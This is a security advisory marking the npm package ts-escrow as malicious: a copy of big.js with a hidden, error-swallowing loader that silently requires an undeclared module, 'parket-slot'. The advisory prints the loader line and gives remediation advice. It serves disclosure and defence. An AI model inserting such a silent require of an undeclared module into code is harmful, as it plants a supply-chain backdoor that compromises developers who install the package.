ts-escrow
Affected
- introduced
0(semver)
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: GHSA-fjgh-3fjv-prm3
Malicious package Its source marks this package as malicious: it is not a vulnerability in a legitimate one.
Malicious code in ts-escrow (npm)
---
_-= Per source details. Do not edit below this line.=-_
Source: amazon-inspector (9607025df61aa1728bceb1a71534460a9e9edf2f3cd1d4eedd533238786577c2)
[email protected] is a verbatim copy of the big.js library (README, repository URL, author, version banner, and description all impersonate MikeMcl/big.js) republished under an unrelated name. Inserted between unrelated method definitions in big.js and big.mjs is a top-level, error-swallowing loader: try { const doc = require('parket-slot'); doc.from_str().then(e => { }).catch(e => { }) } catch (error) { }. The 'parket-slot' module is not declared in package.json. The manifest instead declares an unrelated dependency 'log-taker1' (^0.1.0), also unrelated to big.js's documented zero-dependency posture. Any developer who installs ts-escrow and require()s it triggers loading of an attacker-controlled companion module at import time, with errors silently swallowed to evade detection. The combination of library impersonation, hidden require() of an undeclared package, and silent error handling is the textbook supply-chain trojan loader pattern.
Source: ghsa-malware (0095bb7657066925a35684f9f134a0512ae5565f1b4a4b8ceade7a43173c5b86)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Not rated by the source.
0 (semver)None listed
No fixed version is listed.
Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: OpenSSF Malicious Packages · Apache-2.0